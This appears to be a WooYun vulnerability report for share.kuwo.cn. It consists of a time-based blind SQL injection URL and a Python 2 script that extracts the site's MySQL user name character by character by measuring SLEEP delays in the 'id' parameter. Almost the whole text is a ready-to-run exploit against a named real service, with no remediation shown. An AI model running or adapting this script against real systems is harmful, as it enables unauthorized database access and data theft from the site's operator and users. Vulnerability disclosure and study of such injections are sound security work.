WooYun.org

http://share.kuwo.cn/p/mb/GetContent?from=web&id=if(now()=sysdate(),sleep(length(user())),0)&mbuid=53036461

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user= ''
for i in range(1, 19):
    for payload in payloads:
            #time.sleep(5)    #5秒来一发
            s = "/p/mb/GetContent?from=web&id=if(now()=sysdate(),SLEEP(IF(ascii(mid(user(),%s,1))=%s,10,0)),0)&mbuid=53036461" % (i, ord(payload))
            conn = httplib.HTTPConnection('share.kuwo.cn', timeout=150)
            conn.request(method='GET',
                         url=s,
                         headers=headers)
            start_time = time.time()
            conn.getresponse()
            conn.close()
            print '.',
            
            if time.time() - start_time > 10.0:
                user += payload
                print '\n\n[in progress]', user,
                break
            
print '\n\n[Done] MySQL User is %s' % user